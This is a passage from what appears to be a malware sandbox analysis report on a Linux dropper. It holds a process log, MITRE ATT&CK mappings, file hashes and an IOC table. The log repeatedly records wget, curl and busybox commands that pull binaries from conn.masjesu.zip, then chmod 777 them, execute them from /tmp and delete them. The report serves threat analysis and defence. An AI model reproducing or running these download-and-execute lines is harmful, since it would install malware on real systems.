  ./3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm 3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  PID:979
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - System Network Configuration Discovery
  PID:980
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - System Network Configuration Discovery
  PID:983
- /bin/chmod
  chmod 777 ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  ./ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - Executes dropped EXE
  PID:985
- /bin/rm
  rm ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  PID:986
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - System Network Configuration Discovery
  PID:987
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:988
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  PID:990
- /bin/chmod
  chmod 777 hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - File and Directory Permissions Modification
  PID:991
- /tmp/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  ./hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - Executes dropped EXE
  PID:992
- /bin/rm
  rm hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  PID:993
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  PID:994
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:995
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - System Network Configuration Discovery
  PID:997
- /bin/chmod
  chmod 777 0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - File and Directory Permissions Modification
  PID:998
- /tmp/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  ./0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - Executes dropped EXE
  PID:999
- /bin/rm
  rm 0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  PID:1000
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  PID:1001
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1002
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  PID:1004
- /bin/chmod
  chmod 777 R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  - File and Directory Permissions Modification
  PID:1005
- /tmp/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  ./R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  - Executes dropped EXE
  PID:1006
- /bin/rm
  rm R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  PID:1007
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  PID:1008
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1009
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  - System Network Configuration Discovery
  PID:1011
- /bin/chmod
  chmod 777 oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  - File and Directory Permissions Modification
  PID:1012
- /tmp/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  ./oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  - Executes dropped EXE
  PID:1013
- /bin/rm
  rm oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  PID:1014
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  PID:1015
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1016
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  - System Network Configuration Discovery
  PID:1018
- /bin/chmod
  chmod 777 jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  - File and Directory Permissions Modification
  PID:1019
- /tmp/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  ./jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  - Executes dropped EXE
  PID:1020
- /bin/rm
  rm jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  PID:1021

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO

Path /tmp/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO	753	jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
/tmp/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x	760	M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
/tmp/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4	779	p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
/tmp/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp	818	V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
/tmp/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw	826	6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
/tmp/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO	847	3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
/tmp/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG	873	fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
/tmp/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4	880	bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
/tmp/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT	887	TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
/tmp/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs	894	R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
/tmp/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS	901	oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
/tmp/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG	908	ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
/tmp/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA	915	hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
/tmp/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb	922	0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
/tmp/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x	929	M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
/tmp/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4	936	p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
/tmp/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG	943	fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
/tmp/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4	950	bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
/tmp/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT	957	TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
/tmp/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp	964	V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
/tmp/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw	971	6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
/tmp/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO	978	3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
/tmp/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG	985	ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
/tmp/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA	992	hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
/tmp/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb	999	0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
/tmp/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs	1006	R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
/tmp/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS	1013	oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
/tmp/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO	1020	jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO